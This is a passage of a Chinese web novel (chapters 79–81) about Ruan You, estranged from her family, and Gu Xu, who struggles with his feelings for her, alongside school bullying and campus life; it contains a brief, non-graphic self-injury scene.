而今天是艺术团首次演出的时候。 顾烟成功进了艺术团,成了顾家的骄傲,一家人今天都会去看。或许怕她难过,他们并未透露消息给她。 她不过是个局外人。 从前的自己,也许会失落、会偷偷藏起来哭,而如今,却只剩下漠然。 ——他们越这样,她就越自由。 阮柚撑伞,心血来潮,去附近便利店买了几颗糖。草莓味、柠檬味、柑橘味…她一颗接一颗吃着,透窗望向模糊雨幕,车水马龙融成了丝缕朦胧的长线,甜浸了嗓,莫名令她心情安宁下来。 她没那么讨厌下雨天了。 阮柚趴在便利店靠窗的长桌,戴耳机听歌,边翻阅社交软件。 太久没有接触手机,阮柚有些无所适从,思来想去时,却见一个熟悉的名字。 顾叙。 点开是一段视频。 少年弹着钢琴,是激昂锐利的曲风,却丝毫不见炫技,而是赋予了极致情感,娓娓道来。明明只比她大三岁,却优秀地那么耀眼。 阮柚沉默点了个赞。 而后。 手机铃声响了起来。她蹙蹙眉,跑去外面接。是顾父,他让她马上过去。 阮柚挑眉,“你让我过去我就过去?” “别任性!”电话那头,顾父压下怒意,“你妹妹今天…” 阮柚毫不犹豫挂断电话。 她想,她当初就不该接。 但她心里有其他事。 她得去办张新的银行卡。多存些钱,防止日后卡被冻结,生活不下去。 阮柚有长远打算。她可不想让自己受委屈。更何况,他们应该真能做出这些事。 虽然她不想承认,但她有时候自己也开始怀疑,她是不是他们的女儿,为什么要这么对她? 每当这时,顾叙的话便会冒出来。 他说,“不要因为别人困在原地。” 她要自己闯出属于她的自由。 回去时,已是午后。雨停了,空气漂浮起淡淡的土腥。今天是周六,来往人车一多,渐渐热闹起来。 阮柚口里含着薄荷糖,吐息间,喉咙丝丝染上清新的凉。 办完事,她便回了家。 推门而入,管家站在那里。对方恭敬接过她的包,抬手帮她挂了起来,“小姐,我来吧。” 阮柚睫毛眨了眨,后知后觉觉察出了气氛的异样。家里几位佣人保姆都齐齐上阵,站在那里,眉眼说不出的庄重严肃。 “阮柚。” 是她母亲的声音。温温柔柔,透出亲昵来,“愣着做什么,还不过来。” 阮柚抿了抿唇,目光一错,呼吸不由滞了滞。少年正襟危坐,穿着白衬衣,干干净净。 他偏头瞧她,眼瞳平静。 隔空对望,阮柚咬了咬唇,内心不由生出混乱碰撞的情绪。 她不想顾叙出现在这里。 就仿佛,刻意掩藏的灰暗被骤然公之于众,她紧绷神经,一时间只想带他走。 这么想,她也这么做了。 俯身拉起顾叙右手那一刻,她父亲愠怒地声音响起,“阮柚!你这样成何体统!” 他觉得阮柚被惯坏了,连基本礼节都忘了。 顾盛也在看,只觉得这一幕刺眼。曾几何时,他也有过被这样依赖的时候。 如今,一切都变了。 对方骤然出声,阮柚不由一滞。 而她的僵硬却被顾叙察觉。 顾叙神态自若,曲指握紧了她。 他站了起来,疏离却不失礼节地说,“叔叔,我等的人已经到了。” 言外之意,他要离开了。 阮柚父亲不是傻子,当然听得出来,他竭力维持神态,极为客气地寒暄几句。 他让他改天再来。 顾叙不置可否。 临走前,顾烟小声地问妈妈,“我能跟过去吗?我保证不添麻烦。” “这个…” 顾母有些为难,视线徘徊。 而这段话恰好被阮柚听见。 她停下了脚步,内心生出没由来的烦躁,刚想说些什么,掌心被人轻轻挠了一下。 阮柚呼吸一滞,下意识瞧顾叙侧脸。 顾叙掀开薄白的眼皮,神态柔和,“不好意思。我习惯聊天时,没有闲杂人在。” 闻言,顾烟脸色一白。 出了门,两人沿着湖边走。秋意浓郁,落叶染红了地面。 阮柚说:“你怎么来了。” 顾叙眉头皱了又松,在组织语言。“我问起你的身体情况,伯父就带我过来了。” “没给你们添麻烦吧?” 阮柚哼了声,话语带刺,“他巴不得你过来。”大概少见她这副模样,顾叙视线多停留了几秒,安静不说话。 阮柚发觉了,“怎么了?” “没什么。” 顾叙薄唇勾起很轻的弧度,“病好些了么?” 她今天穿的不少。 有进步。 阮柚:“已经好了。” 顾叙笑起来。他下意识想抬头揉她头发,低头,却恰好触见少女明净漂亮的眼眸。像被骤然烫了一下,理智渐渐复苏、回笼。 最后,少年转开目光,短暂地,从她的侧脸到两人握紧的手。 这是从前未察觉的亲密。 如今在冠上亲情的名义,却反而… 突兀、难捱。仿佛骤然放大的细节,照的他无所适从,胸腔荡开些许荒唐。 他这是怎么了? 阮柚并未察觉这些。 她的心思全然放在刚刚的事上。 其实她很想顾叙,但她不想顾叙过来这里。 他们视彼此为灵魂的净土。 相互间,都藏着不愿让对方涉足的晦暗角落。 有风吹来。 窸窸窣窣间,头顶落叶飘飘欲坠。 落叶不期然地坠落在少年肩头。 他穿了一身白衣,好似覆盖了霜雪,那抹枯黄清晰分明、很难忽视。 阮柚目光被吸引,伸手拿起。 清浅的气息转瞬拂过耳畔,顾叙身影微僵,不期然松开了交握的手。 换来一丝喘息的空间。 温热的掌心松来凉风,他颤了颤睫毛,偏头,强抑下异样。 阮柚手心藏着一片金黄的落叶。 落叶上面沾着些许雨水,却肌理分明,洗净过后极为干净。 她眼瞳亮起来,“哥哥!你快看!” 盈盈笑意浮在眼底,阮柚嗓音甜甜地,好似发现什么有趣的事物。 “看!这片叶子好特别,居然是心形的哦。”她低头认真打量,殊不知两人离得有多近。 顾叙松松垂下眼睫,未曾看清,那片叶子便被送至他手心。 落叶上面残存少女的温度。 目光定格,是未经雕琢的心状。 莫名地,顾叙掌心生出滚烫来,星星点点,轻易拨乱呼吸。 ——他竟一时不敢去看。 第79章 第七十九章 顾叙篇 夜色与黎明的交界融合消失。天亮了, 日光乍现,窗外风铃摇曳,清泠泠浸透心灵。 顾叙未曾察觉外界的变化。 琴房窗帘紧闭, 自然光线被阻隔的完全。他静坐钢琴前许久,视线落在黑白琴键,始终没能抬起手。 此时此刻, 连钢琴都将它阻隔在外。 仿佛告诉他, 他该为欲/望赎罪。 周遭晦暗晕沉,静地出奇。顾叙听见自己的心跳声, 一拍重过一拍。混乱不堪,久久难以平复。 闭眼,全是昨夜的梦。 梦里,少女亲昵勾缠他的脖颈, 漂亮眼瞳好似含着春水,烂漫又专注。她仰起下巴, 朝她甜甜地笑, “哥哥, 我好喜欢你啊。” 潮乎乎的气息扫过耳畔, 又热又痒。顾叙呼吸紊乱, 下颌绷紧,异样的滚烫侵袭了全身,就这么将理智蚕食淹没。 顷刻间, 心跳是从未有过的快。 无法忽视。 “哥哥, 你是讨厌我吗?” 少女迟迟等不来回答, 语气极失落。她抬起了手,温热的指尖轻触他的睫毛,“为什么看着我不说话?” 她瞧他, 极近的距离。 很香、很软。 仿佛贪恋的瘾,荒唐地暧昧。 顾叙眼皮压了压。 四目交接,触见少女隐约浮起水光的眼眸。 阮柚神态藏着罕见的委屈,委屈到令人不由心疼,就像流浪的小猫,竭力汲取温暖,渴望回应。 他不想见她这副模样。 溃不成军,顾叙本能地伸手抱紧,俯下身,于对方眉心烙下细细的吻。他阖了阖眼皮,睫毛轻颤,那份爱意藏在喉间,终是难以克制——— “我喜欢你。” “阮柚,我怎么会讨厌你呢…” 从头到尾,他只厌恶自己。 醒来后,只剩狼藉。游离的光影从落地帘隙渗了进来,照出房间漂浮的细小颗粒。 顾叙不知在琴房呆了多久,久到对外界的光线适应的迟钝。那束光线分割了地面,他的轮廓分明隐于半片阴影,深灰眼眸忽明忽暗地,沉静久了,一股强烈的厌倦暗涌过来,占据心头。 ——他配吗? 他是她哥哥,他可以守护她、亲近她、呵护她、心疼她,但这一切,只能…与爱无关。 恶心… 好恶心… 他好恶心… 他该为自己的欲/望赎罪。 身体传来麻木的痛感,复苏的疼痛如浪潮般阵阵袭来,待意识再度回笼后,他眼前只剩指缝间温热缓慢的流动。 清晰又残忍。 纵使披着完美的人皮又怎样?他依旧污秽,灵魂依旧潮湿。 恰逢佣人推门而去,见状尖叫出声。 “少爷!您没事吧?” 她几乎被满目鲜红吓呆了,握着把手,一时僵硬原地。 闻言。 顾叙神态异常冷静、冷静到几乎冷酷的地步。 那是与往日温柔截然不同的状态,好似玫瑰腐烂了一角,从完美中参透出丝丝裂痕。 但仅仅一瞬间。 少年站起来,曲了曲手指,眉眼柔和衔笑,“张姨,不会有其他人知道,对么?” 日光闯了进来,照的他肤色冷白,没什么血色,有股病态美感。少年长身鹤立,指间不经意搭在了琴键,染上浓墨重彩的红。 张姨仿若窥见什么秘密,胸腔心跳激荡,面上却极快地点头,“嗯,少爷您放心。” 她抑下心中波涛,关心着说,“就是,要不要我…给您稍微包扎一下?” 顾叙勾唇轻笑:“不用。” “张姨,我自己来就好了。” 虽在笑,他语气很平静,没什么起伏。 仿佛只是说了一件再寻常不过的事。 — 大概糖吃多了,阮柚牙齿很疼。 她挂号去了最近的牙科医院。 原来是长得智齿有些发炎。最后,医生嘱托她以后少吃糖。 阮柚很听话,回去把买的那些糖收了起来。牙疼的滋味实在太难受,她无论如何都不想再经历了。但是如同水逆,阮柚的生理期也在次日到访。 大概是前几天淋了雨,这次痛感来得比以往都猛烈,腹部丝丝绞痛几乎抽干她的活力,阮柚情绪恹恹,什么都干不了,只得窝在被子里休养。 阿姨给她送来了红糖水。红糖水冒着热气,温温热热。 阮柚乖巧地道了声谢,捧碗全喝完了。 阿姨:“谢什么,都是应该做的。” 她一直都很喜欢阮柚,少女可爱又灵动,看上去贪玩任性,实际上一点也没有小姐架子。 她真心盼着她好起来。 阮柚喝了红糖水,缓解了很多。她躺在床上,懒恹垂眸,百无聊赖刷起了手机。 【每日一卜】一则标着红色Hot的帖子就这样闯进她的视线。 是近期占卜。觉得新奇,阮柚来了些兴趣。她指尖划了几下屏幕,跟随教程回复了几个数字,便躺在床上睡了一觉。 醒来后,她几乎不疼了。 恢复元气以后,阮柚心情多云转晴。 她打开了手机,发现了一则提示。 ———楼主在十分钟前回复了您。 阮柚挑眉,手指点开。 楼主:“近期,请一定要当心桃花债哦~” 嗯? 桃花债是什么。 阮柚视线从头看到尾,就这样看了好几遍。她想回复问一下,但点开却发现已经删帖。 阮柚扯了扯唇,本能觉得不准,便没再放在心上。 出门,她发现别墅后在开泳池Party。 不用想,就是交际花顾盛开的。 阮柚没什么兴趣,觉察到有些口渴,打算去厨房找点喝的。 打开冰箱,有她最喜欢的橘子汽水。 她眼睛一亮。 可她刚刚打开冰箱门,身后,有人先一步越过,伸出手将那瓶橘子汽水拿走了。 阮柚眨眼:!! 那可是最后一瓶橘子汽水! 明明是她先看到的。 她有些不悦,转身看向始作俑者。 少年浑然不觉,指节随意勾扯开了拉环,水汽不经意烫开,星点坠在阮柚的眼皮。 冰冰凉凉。 阮柚这才后知后觉反应过来,哦,她现在生理期,是不能喝凉的。 睡觉简直睡糊涂了。 她还在生理期,怎么可以好了伤疤忘了疼呢! 反应过来后,阮柚气势骤然落了半截。 她抿了抿唇,沉默地耸肩,抬脚打算离开。 可那人发觉了什么,叫住她。 他问:“你是?” 阮柚不想理。 她猜也能猜出这是顾盛的朋友,也不想和他们有任何牵扯。 少年却没打算放过她,跨了一步,就这样拦在她面前。 阴影遮过。 阮柚很轻地蹙了一下眉头,下意识抬起头来。她这才真正看清面前人。 少年穿了件黑色夹克,胸前挂着一条银色锁骨链,气质张扬肆意。他染了头蓬松浓密的白毛,却丝毫不见违和感,反倒更显锐利容色,唇红齿白,一双桃花眼衔着漫不经心的笑,正专注打量她。 阮柚忍不住问:“怎么了?” 她又不认识他。 对方则慢悠悠道,“我好像在哪里见过你。” “来搭讪?” 阮柚哼了一声,“这个法子老掉牙了哦。” 不怪她自恋,她真的听过好几次这样的搭讪。她后来想了想,觉得自己应该不是大众脸,所以他们都是故意的。 对方丝毫不在意,反而翘唇笑笑。 过了几秒,他眼睛倏然一亮,“我想起来了。” 阮柚瞧他。 少年摸了摸下巴,语气轻快几分,“你就是那个顾叙的女朋友吧?” 闻言,阮柚太阳穴突突跳。 什么跟什么! “不是!” 她立马否认。 少年漫不经心拖嗓,“我见过你们约会哦。你叫阮柚,对吧。”他在那打篮球时,她连续来了好几天,忽然有天不来,才知道对方是和顾叙约会去了。 他仿佛窥见一个非常有趣的秘密。 于是顺从本心,揪着不放。 阮柚步伐一顿。 她想了想,觉得还是有必要解释一下,“不是,顾叙他是我哥哥。” 闻言,少年挑了下眉,卷翘睫毛闪了闪,俨然不怎么信。 阮柚扯了扯唇:“是真的,你信不信随你。” 口干舌燥,她不再解释,打算去倒杯温水喝。 少年耸肩。 既然如此,移开步伐,不再去拦。 只是他眼底仍然藏着几分思忖。 适时—— 一阵手机铃声响了起来。 并不是阮柚的。 她喝完了温水,下意识看了眼少年。 少年个子颀长,没骨头似的倚靠墙边,边缓慢轻晃橘子汽水,边回电话,“嗯?怎么了。” “对哦。” 他喉结微动,随口应。 而后。 不期间抬眸间,对方目光锁定桌边的她。 少年牵唇笑笑。 阮柚被看的一烫,赶忙错开目光。 她是来喝水的,才不是故意想偷听! 可正欲抬脚走开,便听少年再度开口。 对着手机,他说出了一个极熟悉的名字,“顾叙。” “你猜我刚刚遇见了谁?” 他直起身站了起来,放下了汽水,换了只手拿手机,免提却不知何时被误触开。 声音骤然放大。 “谁?” 那头,顾叙音质好似打磨过的玉,柔和动听。 “你那个小女朋友,阮柚。” 少年语气漫不经心,却也在求证。 究竟是直觉出了错,还是有人说了谎。无论结果如何,都是一件有趣的事。 阮柚眼皮直跳。 她张了张唇,却觉打断是件不礼貌的行为。 而犹豫间隙,不知过了几秒,便听那头再度开口,语气很平静,“成玉,别开这种玩笑。” 成玉语气很淡:“哦,是么。” 顾叙接着说:“她是我妹妹。过去是,现在是,未来也会是。” “仅此而已,再无其他。” 第80章 第八十章 顾叙篇 阮柚在住校那栏填了个红勾。 圣煜申请住校的人虽不多, 但不妨碍宿舍设施建设一应俱全、顶级奢华。 阮柚搬进了一个单人宿舍。 她来得那天,特意带了一盏陪伴她很久的小台灯。夜色已至,昏黄灯光柔柔亮起, 周遭气氛也温馨起来。 她终于感到了安定。 手机屏幕是家人发来的消息。 ——“阮柚,周末妈妈过生日,你总应该回家看看吧?”发送于一小时前, 是她母亲发来的。 即便是一段文字短信, 阮柚也能感觉出对方语气的无奈失望。 她睫毛颤了颤。 屏幕冷光映下,她的眼瞳是那样安静、专注。 阮柚明白, 自己一旦应对亲情,就会变得拧巴又别扭。她能依稀觉察出对方的那份爱,可那份爱却又经不起推敲,经受不了比较。 有所保留的爱, 算是爱吗? 阮柚至今忘不了。 高朋满座,人来人往。 母亲为顾烟庆祝得奖时露出的笑容。那抹笑意那么宠溺、温柔、深情。原本属于阮柚的爱, 她就这样原封不动给了另一个人。 甚至更完整。 月亮弯弯。 阮柚重重吸了口冷气, 胸腔转凉以后, 彻底覆住了暗涌的酸涩。 她从书桌抽屉里掏出了耳机。 非蓝牙款, 长长的白色耳机线缠成了一团, 却意外地很好解开。连接听歌,耳机里放的是一首平缓的纯音乐。 来自顾叙分享的歌单。 ——The Sound of Rain(1) 阮柚趴在桌上戴上耳机听歌。 头顶的窗帘薄纱随风飘渺,一瞬仿若沉溺在了雨水, 乌沉沉地, 净寂又孤独。 困意如潮席卷前, 阮柚于桌面曲了曲手指,冰凉指尖唤来丝丝清醒,她忍不住思忖起来。 顾叙听这首歌时, 会是什么心情呢? 他那么温暖的人,也会有孤独的时候么? / 随年龄增长,阮柚愈发漂亮明艳。 雪白的皮肤在阳光下隐约发光。少女笑起来眼睛总会弯起新月形状,有水光潋滟,灵动到令人移不开眼。 回校不久,她收到了不少情书。 如果说,从前的她会因收获旁人的喜爱,而外骄傲翘尾巴;如今的她反而更为平静坦然。她开始自洽,不再视旁人爱意为养料。 阮柚有很长一段时间没来学校,家人对外宣称她生了场病,给她办了短暂的休学。 如今再度回来,不少人嘘寒问暖。 她甚至还看到曾经同自己因为一言不合拌过嘴的死对头。 对方从人群走出来,神情别扭,“欢迎回来哦。” 阮柚心中有些意外,但无法否认心情好了很多。面对她,阮柚笑了笑。 见状,对方脸红,“笑什么笑,我、我只是稍微客套一下。”长得好看就了不起呀,故意和她卖萌。一定想让她心软。哼,要是她不主动,她是不会和她交朋友的。 阮柚真的打算好好完成学业。她打算申请的是顶尖艺术大学,不仅需要推荐信,学分绩点还要求的非常严格。 她是一位不算聪明的人,在学习上总是慢半拍。坚信勤能补拙,她只好把更多的时间投入在学习。 下午,学院早早就放学了。阮柚在学院自习室琢磨了一会试卷,手中圆珠笔转出花来,还是没有相处解题方案。 她忍不住瘫倒。 又强烈不死心,告诫自己心急吃不了热豆腐。 于是乎,阮柚打算出去透透气。 背包出门时,恰逢夕阳西下,落日余晖洒在地面,一派岁月静好。 她忘了扎头发,发丝被风撩乱。 阮柚不想顶着乱糟糟的头发游荡在校园。于是进了楼层,抬脚便去最近的盥洗室。对着镜子整理完头发,她从书包夹层翻找起来发圈。 正翻找着。 忽地,她听见了隐约…类似哭声的声音。 阮柚动作一顿,以为在幻听。 她呼吸静了几秒。 却仍相信直觉,自顾自寻找起来。 压抑、断续的啜泣声逐渐清晰。就这样闯进了现实。阮柚循声望去那处,有些迟疑发问,“还好吗?” 原来声音是真的。 盥洗室隔板里,有女生在哭。女生哭的很小声,时断时续如小兽呜咽,却仍然能感觉出压抑到极致的痛苦无助。 就好像被全世界抛弃。 阮柚再度问,“需不需要帮忙?” 对方依旧没应。许是听见了,哭声有些压不住,夹杂难受的呛咳。 阮柚抿紧了唇,怔愣在原地。她其实不擅长安慰人,却无法在这时袖手旁观、转身走开。 她能感觉出对方真的很难过。 “对…对不起。” 过了几秒,女生终于发声,哭腔很浓,“我是不是打扰到你了。” “没有。” 阮柚说,“有什么需要我帮忙的么?” “我…”对方一顿,语气困窘无助,“我没办法…” “嗯?”阮柚耐心等着。 那头,像是情绪骤然开闸,女生止不住呜咽起来:“她们、她们泼了我一身水,还拿走了我的…制服外套…我没办法出去…很…” 脏,很狼狈。 阮柚蹙了下眉头。 第一次直面在阴暗处滋养的霸/凌。内心厌恶之余,也随之生出细细麻麻的同情。 “没关系的。” 阮柚试图软下声音,说,“你现在可以出来了,这里只有我们俩。 她抿了抿唇瓣,像在说悄悄话,有股令人安定的力量,“我可以借给你外套,别怕哦。” 哄人的语气。 不熟练,但很温柔。 几秒后,里面的女生嗯了声。 半晌。 阮柚心想:世界一定是由巧合堆砌成的。不然,她怎么会在此时此刻遇见熟人呢? 阮柚看了过去。 宁糖披着她的制服外套,冷的轻微瑟缩。久别重逢,她想抱住阮柚,却怕弄脏她。她从未想过再见会是这副场景。此刻她浑身湿透、形容狼狈,哪哪都令人讨厌。 宁糖鼻尖酸涩,“阮柚…对不起。”她想亲口告诉阮柚,那天她不是故意想要不告而别的。 “别哭了。” 阮柚给她拿纸。 她不想看见宁糖流泪的模样,尤其是和记忆力那副爱笑的脸庞对比,令她心情很乱。 她知道自己该去安慰她。但她望着那双红肿含泪的眼睛,还是吸了口气,追根溯源,“宁糖,是谁干的?” — 事后。 宁糖为感谢她,送给阮柚自己亲手做的项链。她生在一个靠海的小渔村,常去海边沙滩捡贝壳,用贝壳做的手工项链格外精美,在阳光下会折射出漂亮的光。 阮柚不打算要,真切地说,“除非你告诉我是谁欺负你。” 宁糖唇抿得紧紧的,低头不看她,“那些事已经过去了。” 她不愿说,也怕阮柚不收。 于是,便踩着上课铃前一秒,飞速放在阮柚手里后就跑远了。 见状,阮柚心里一空。她其实不明白,为什么宁糖不告诉自己。 不是她说的要和她做朋友吗? 朋友间,不该相互坦诚才对么。 她其实…是想帮帮她。 但这些话她并未说出来。 空落落的情绪转瞬即逝,阮柚子握紧了手中的贝壳项链,视线停了几秒,不得不承认它的漂亮。 她好好放了起来。 近代史选修课,老师迟迟未来。 有人坐在她前面的长椅,喜滋滋扭头瞧她,“阮柚,大新闻!” 阮柚茫然:“嗯?” 女同学很激动地把手机递给阮柚。 亮起的屏幕上,论坛刚刚举办完一场投票。阮柚努力分辨信息。 她的名字很意外地出现在第一列。 下面还附带一张照片。照片里的少女头发有些炸毛,穿了身棉麻白裙,眉眼几分懒倦。 阮柚惊愕,张了张唇。 谁把她刚睡完午觉出门倒垃圾的样子拍下来了! 还发到论坛上。 公开处刑。 阮柚坐直了背,简直头大。她刚想发话,便听对方再度开口。“这一届校花投票,你是第一啊!” 阮柚愣了下。 唔,什么东西? 陌生。 “开不开心,惊不惊喜!我就说,群众的眼睛都是雪亮的。”女同学笑了笑,莫名想戳戳少女雪白的脸颊。好可爱啊,一看就很软。 等来等去。 她见没有等来预想的反应,忍不住问阮柚,“你怎么这么平静啊?” 阮柚无辜地眨眨眼睛,如实说:“其实,我没什么兴趣。” “不过还是谢谢你为我高兴啦。” 闻言,女同学震惊,“拜托!” 她顿了顿,“你知不知道,投票第一名有机会去参加年底的圣宴,那里名流云集,多少人想入场券都拿不到!” 阮柚想了想,慢吞拖着嗓,“哦…” 她握着笔杆子画圈,实在没什么兴趣。 “你傻啦。” 女同学终于忍不住轻戳阮柚脸颊,忍不住笑,“你还能和成玉跳开场舞!那可是成玉啊!那么帅!那么好看!” 现在阮柚当然知道谁是成玉。 那天的场景至今仍历历在目,少年讲起话来漫不经心,毫无章法。同时,也并未给她留下好的印象。实际上,阮柚无法理解为什么他会这么受欢迎,走几步路就有他的迷妹。除了篮球打的不错,长得好看,其他她实在是想不到什么优点了。 阮柚想了想,“我还是主动退出吧…” 更何况她根本不会跳舞。 对方不敢置信,“真的假的?你在开玩笑吧。阮柚,这真的很难得的体验,是可以放在简历里吹一辈子的程度…” 闻言。阮柚动作一顿。 “放在简历?” 她抬起眼睛问。 女同学起初没反应过来。 阮柚神态认真,眼里闪出些许光芒,藏着若有若无的笑。 她接着问,“那是不是代表,可以加学分呀。“ “嗯?”女同学被她的转变打得措手不及,但下意识思忖,“应该吧,这种应该最少加五分吧。” 闻言,阮柚倏然亮起眼瞳。 她安静了几秒,而后轻轻抓住她的手背。 “你说得对,我不应该错过。” 阮柚想。 就算为了学分,她也该去呀。 不过她不会跳舞。 为了那天不丢脸,她得找个人教教她。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 第八十一章 顾叙篇 阮柚思来想去, 还是决定给妈妈准备生日礼物。她挑选了一个漂亮的丝巾,用绿礼盒包裹,透出精致古典感。 买完折返宿舍, 她就放到抽屉里。 她仍在纠结去不去。 毕竟先前,她是真的心寒。 她的目光安静悠长,很快被木制架子上那串贝壳项链吸引。 阮柚很喜欢这串手工项链, 凑近去闻, 鼻息仿佛藏隐着大海的咸湿气息,沁透清新。 但她却没有戴过。 宁糖没有告诉她是谁在欺负她。 她有时也很执拗, 决定自己发现真相。 上完了体育课,正值中午时分。 阮柚在长廊看见了宁糖。 学校后花园的末端一角,草木不勤打理,周遭清净寂寥。 宁糖一只手抱着一份便当, 另一只手伸出打开盖子。 细碎阳光斑驳了她的身影。 孤单又单薄。 “我们又遇见了。” 阮柚先一步开口,选择打破寂静。 她想, 还挺有缘的。圣煜那么大, 心底刚想着遇见, 他们就遇见了。 就像上天倾听到她心事一般。 闻言, 宁糖眼睛倏然一亮, 腾地站起来,“阮柚!” 阮柚不知道宁糖的激动喜悦从何而来。 但她依旧决定顺从自己的心意,走过去, 很自然地坐在了她身旁。 木质长椅被阳光晒得暖洋洋。 阮柚下意识撑开手指, 手背接住掉落的光斑。原来这里这么舒服呀。 “怎么一个人在这里?”阮柚低下头, “吃的好少哦。” 宁糖的便当绿白相见。 米饭上面只有几根青菜,半点不见荤腥。 宁糖说:“这里…比较安静。” “我、我比较喜欢一个人。” 宁糖低下头,神色恬静, 语气却干巴巴,没什么让人信服的力度。 “好巧。”阮柚眼睛一眨一闪,“我也喜欢一个人。” 宁糖目光闪烁,胸口温热。 其实她没说的是,其实是有例外的。比如说,只要阮柚一出现,她就再也不想一个人了。 阮柚饿了,要去吃饭。 她一本正经地对宁糖说,“你之前送我的项链,我很喜欢。” 宁糖眼睛一亮。 喜欢就太好了! “我不想亏欠别人。”阮柚顿了顿说,“所以我打算请你吃顿饭。” 宁糖闻言,说什么也不去。 但阮柚很坚持,坚持要带她去。 “就当陪我好不好。”她别别扭扭地组织语言,但说起来竟透出撒娇的意味,“而且你下午有体育课,陪我多吃些,没什么坏处。” “减肥对身体不好的。” 宁糖一愣,眼瞳隐约触动,心中涌起微妙的感动来。不仅是那份隐藏心底的自尊心被对方维护,还是因为,她久违感受到到了被关心的滋味。她想,阮柚应该是特意记下她的课表,不然怎么知道她下午有体育课? 她人好好… 她真的真的好想亲近… 阮柚并不清楚宁糖的想法。 这因为宁糖穿了一身运动装,她很自然而然地想到对方有体育课了。 但感受对方渐渐握紧的手,阮柚想了想,还是由着她了。 唔。 毕竟宁糖的手心很温暖。 就像个小火炉。 两人吃完回去。 回去路上,两人有一搭没一搭的聊天。 宁糖提起她加入了学校的艺术社团。 她说,“我其实就是打杂的。” 阮柚:“那也很厉害。” 毕竟每届报名人数那么多,最后只要一两个。 少女不经意摩挲下巴,认真地夸人。 宁糖见状脸红了起来,心底却有种浸了糖的开心。 两人并肩走着。 忽的,有人叫阮柚的名字和。 阮柚看了过去。 顾盛大步走了过来,拎了一大袋零食,“我去宿舍找你,你不在。” 阮柚问:“你能进女生宿舍?” 毕竟这方面,圣煜管理出了名严格。 顾盛闻言,竟骤然生出些许局促来,“不是不是,我在外面。”他接着说,“我等你一直没来。” 阮柚扭过了头,“哦。” 她的态度恢复了冷淡。 顾盛早就习惯了,也不见不气馁,反而继续摇起了尾巴,“这些都是你最爱吃的零食,你留着追剧吃。” “我不追剧。” 阮柚今天心情不错,因而比起往日的惜字如金,话也更多了。 这让顾盛隐约燃起希望,“你可以想什么时候吃什么时候吃,还可以分给同学。” 说罢,他看了眼宁糖,礼貌咧唇一笑。 宁糖则抿唇,下意识观察阮柚神色。 路过不少视线看了过来。 终于,阮柚耐心告罄,“我不要,你拿回去吧。” 见她仍不死心,她好心提议,“实在不行的话,给顾烟好了。” 说罢,未等顾盛回应,她便径自转身离开了。 自己一开始就该走的。 为什么要浪时间呢? 还说是她最喜欢的零食,刚扫了一眼,没一个是她吃过的。 骗子。 阮柚红唇抿的很紧,安静往前走。 宁糖也默不作声跟在一旁。 两人路过湖泊,微风循着湖面送来了潮湿,也逐渐平息胸腔腾起的几分躁乱。 这时—— 宁糖迟疑过后,小声地问,“顾烟她…是你的家人么。” 阮柚指尖摁了摁手心,末了,透出几分自嘲,“他们觉得是。” 宁糖静了几秒,眼睛微微寂灭。 最后,她很轻地说了句,“嗯,我知道了。” 异样就这么一带而过。 等阮柚再一次看她时,那抹异样早已不见踪影、转瞬即逝。 她没抓住。 / 阮柚在宿舍养了些花花草草。 去医院复查牙齿前,她没忘记给它们浇水。临走前,她满意看了眼,对焦拍了张照,习惯性地上传了社交软件。 阮柚社交圈很干净,好友基本是同学。 她发得并不勤,多是喜欢做的小手工或者花草。但她访客量却尤其多。 特别是最近,一刷新就有源源不断的流量。她合理猜想,大概是不久前论坛的事。 阮柚没再看手机。 预约的时间快到了,她需要守时。 她的智齿长的有些错位,一旦吃多糖,就很容易发炎。 但她其实是个好了伤疤忘了疼的人。 最近有意识控制住了吃甜的频率,阮柚便很少再牙疼了。 因而。 当医生问她考不考虑将它拔掉时,阮柚很怂地犹豫了,说回头再想想。 她就这样离开了医院。 出了医院,外面阳光正好,惠风和畅。 课程表上,下午有一节现代艺术方面的课程。 阮柚需要回圣煜上课。 但她饿了,步行走在路边时,肚子不争气地叫了起来。 她索性去了附近找些吃的。 热腾腾的小馄饨端上了桌,阮柚习惯地先倒了点醋,又洒了些红油辣椒。她吹了好一会儿,终于入口下肚。 饥饿感渐渐淡去,阮柚百无聊赖地打开手机,刚好发现一则提示音。 ——哥哥刚刚赞了你。 顾叙。 阮柚眉心微动,将瓷勺放回碗里,指腹打开了会话框。 她敲字,然后发送。 “哥哥,我想你啦。”她最近忙着好好学习,都好几天没见他了。 那头,顾叙来了回复,“嗯。” 他应该也在看手机,看到就回了。 嗯是什么意思? 令她不免失落的是,顾叙这段时间竟然也没主动和她发消息! 一次都没有。 思及此处,小馄饨似乎都没那么香了。内心少许幽怨,阮柚抿了抿唇,指尖一点,就发了个委屈巴巴的猫猫头表情包过去。 那头几乎秒回。 “别哭。” 而后,上面显示着时断时续的正在输入中… 阮柚一愣,反应过后,眼底不由浮现细细的笑意。他好可爱哦,好像把这个表情包带入到她本人。 不过她的确有点委屈。 阮柚继续发了几个委屈的表情包,末了说,“哥哥,我好想你,好想见你。” 如今,她对顾叙有天然的依赖。 渐渐积攒的情感是自然而然、近乎生理性的喜欢。 她想去亲近他,也从不掩饰自己的想法。她喜欢顾叙身上若有若无的松木香,喜欢偶尔混杂衬衣洗净的清爽皂香。 温暖又柔软。 阮柚并不吝啬表达爱意。 对待喜欢的人,她分享欲爆棚。 她拍了张吃饭的照片,小店里人不多。对面座位空荡荡地,照片里,小小的影子透出些许孤单。 顾叙看到照片,很轻地蹙了下眉。 他握着手机,从卧室一路走到了阳台。 日光迎面落下,他不得不垂了垂眼睫,才得以聚焦、看清。 他终于打出那段字:“阮柚,你现在在哪呢。” 这次见面,顾叙给阮柚带了小熊饼干。 尽管才几日未见,阮柚仍觉得顾叙有细微的变化,但她无法用语言表述。 她只能体会出大概。 对方似乎更白了,肤色更冷,站在日光下,显得唇色更红。 顾叙问她:“现在不是在上课么?” 今天并不是休息日。 阮柚:“下午两点多有课,其他就没了。” 她今日穿了件粉色背带裤,松松地扎了丸子头,卷翘的碎发勾勒出小小的巴掌脸,清纯又不失灵动。此时此刻,她眉眼弯弯,乌润的眼睛一瞬不瞬看来,满眼尽是真切欢喜。 她说想他。 于是,他就来了。 顾叙眼瞳微闪,将小熊饼干递给她。 凑近,阮柚轻哇了一声,“好香哦。” 她闻到了淡淡的清甜。 “是谁做的呀?好精致好用心。” 视线透过包装盒,将内里一览无余。 顾叙安静了几秒,说,“是家里的阿姨。” “她很擅长做这些。” 他微滚喉结,补了句。 “好厉害啊。” 